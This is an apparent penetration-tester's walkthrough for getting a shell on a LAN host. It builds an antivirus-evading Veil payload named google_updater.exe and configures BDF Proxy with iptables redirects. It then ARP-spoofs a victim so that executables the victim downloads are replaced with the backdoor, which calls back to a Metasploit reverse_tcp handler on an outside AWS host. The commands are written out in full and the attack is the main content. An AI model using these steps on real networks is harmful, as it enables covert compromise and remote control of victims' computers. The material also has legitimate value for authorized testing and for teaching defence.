Scenario: During an engagement, we are plugged directly into the client’s LAN with only basic network access. On this LAN there are a number of workstations – for example.
Objective: Get a shell on a host.
- Kali Linux
- BDF Proxy (https://github.com/secretsquirrel/BDFProxy.git)
- Arpspoof (should come with Kali Linux)
- Metasploit Framework (https://github.com/rapid7/metasploit-framework.git)
- Veil-Evasion (https://github.com/Veil-Framework/Veil)
First, we need to create a executable that is not (hopefully) going to be picked up antivirus. Obviously, this is easier said than done; however, we will use Veil-Evasion 3.0 on our Kali box for this task. See below:
We need to remember the location of our executable (listed above in green) because we will need that file in a minute. (/usr/share/veil-output/compiled/google_updater.exe). Now would also be a good time to run/test your executable on a few systems to make sure that it’s not detected by the antivirus software on the client network (if known). In this instance , this particular executable is not detected by Windows Defender:
Assuming BDF Proxy is properly installed (not covered here), we need to adjust the bdfproxy.cfg file to read as such after installation:
There are lots of other options for different architecture types (and other settings in general). I’m only showing x86 inside of one particular scenario. You may need to adjust the config file based on your needs/wants.
We can now start up BDF Proxy:
We also need to add the following two iptables rules on our Kali box:
iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 443 -j REDIRECT –to-port 8080
After we MiTM our victim (using arp spoofing) the iptables rules will effectively proxy tcp/80 and tcp/443 traffic over to BDF Proxy – which will handle the backdooring of the executable being downloaded.
Before we MiTM our victim (we’ll save that for the last step), we need to get our meterpreter handler setup. This is being done on a public AWS instance with metasploit-framework installed; however, one could do easily do host metasploit internally on the client’s LAN as well. Just remember that the LHOST specified in Veil (screenshot #4) is where our payload will call back to. In our case, we specified: aws.shellgam3.com. If your trying to catch shells across the Internet, remember you probably need to adjust NAT rules on your public side as well. In this case, we had to add a NAT rule for tcp/4444 to be directed/allowed to our AWS box.
We will run the following command to fire up metasploit framework and our handler:
msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 172.31.18.189; set LPORT 4444; set exitonsession false; exploit -j”
With our handler running, we can now move forward with arp poisoning our victim on the LAN. Once the MiTM is in place, any executable downloaded by our victim will be replaced with our executable – yet the executable will retain the same name of the file being downloaded.
We’ll need to open up two different terminal windows and run the following commands to setup the MiTM: In this case 192.168.22.91 = victim IP and 192.168.22.1 = router IP:
arpspoof -i eth0 -t 192.168.22.91 192.168.22.1
arpspoof -i eth0 -t 192.168.22.1 192.168.22.91
Now, when our victim downloads an executable, most everything should look normal:
However, on the backend (on our Kali box), we should notice a few things happening. In BDF Proxy, for example, we see that the victim’s executable is being replaced with our executable:
And if/when the victim runs the executable, we should (hopefully) have our meterpreter shell on our C2 box:
It should be noted that when our victim attempts to download an executable over https, they *will* receive a nasty certificate error. However, as long as the website does not have HSTS enabled, then the victim may opt to click past the certificate warning and download their file.